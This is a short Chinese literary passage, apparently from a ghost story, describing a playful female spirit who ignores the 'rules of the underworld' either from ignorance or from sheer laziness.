她像活人中最顽皮那一种,死后也没学乖——像是这个人间还没有教会她,什么叫“阴间规矩”。或者也不是不懂规矩,只是……懒得理。